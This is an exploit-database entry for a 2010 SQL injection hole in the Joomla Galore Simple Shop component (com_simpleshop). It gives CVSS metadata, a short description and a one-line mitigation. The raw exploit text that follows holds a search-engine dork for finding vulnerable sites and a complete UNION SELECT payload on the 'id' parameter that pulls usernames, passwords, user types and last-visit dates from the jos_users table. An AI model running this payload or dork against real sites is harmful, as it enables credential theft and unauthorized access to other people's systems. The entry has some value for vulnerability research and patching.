Joomla Component (com_simpleshop) SQL Injection Vulnerability

vendor:

Joomla Galore Simple Shop

by:

UnD3rGr0unD W4rri0rZ

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Joomla Galore Simple Shop

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Joomla Component (com_simpleshop) SQL Injection Vulnerability

An SQL injection vulnerability exists in the Joomla Galore Simple Shop component (com_simpleshop) due to insufficient sanitization of user-supplied input. An attacker can exploit this vulnerability to inject arbitrary SQL commands into the application, allowing them to gain access to sensitive information such as usernames, passwords, and user types. The vulnerability is present in the 'index.php' file, where the 'id' parameter is not properly sanitized before being used in an SQL query. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing malicious SQL commands to the vulnerable application.

Mitigation:

Developers should ensure that user-supplied input is properly sanitized before being used in an SQL query.

Source

Exploit-DB raw data:

==============================================================
Joomla Component (com_simpleshop) SQL Injection Vulnerability
==============================================================

###########################
Title : Joomla Component (com_simpleshop) SQL Injection Vulnerability
Script : Joomla Galore Simple Shop
Date : 07/26/2010
Author : UnD3rGr0unD W4rri0rZ
Vendor : http://galore.co.za/ 
Dork : inurl:"option=com_simpleshop" & inurl:"viewprod"
###########################   
         
[ Vulnerable File ]
     
[path]/index.php?option=com_simpleshop&Itemid=xx&task=viewprod&id=[SQL]

[SQL]:

id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users--

Xpl
index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users--

##############################################################   
#==================================================
#{~} I am HeaDShoT(tunisian muslim hacker) From UnD3rGr0unD W4rri0rZ  {~}
#
#cont@ct:
#pwz@hotmail.Fr
#
#{~} there is always one who intelligent more than you do you should be optimistic  {~}
#==================================================
#all greetZ to allah
#&
# my friends
# M4MIM4N // L363ND //Meher Assel // Ghost_tn //ta3lab el maker // Th3 m3t4l-m4n
#
##############################################################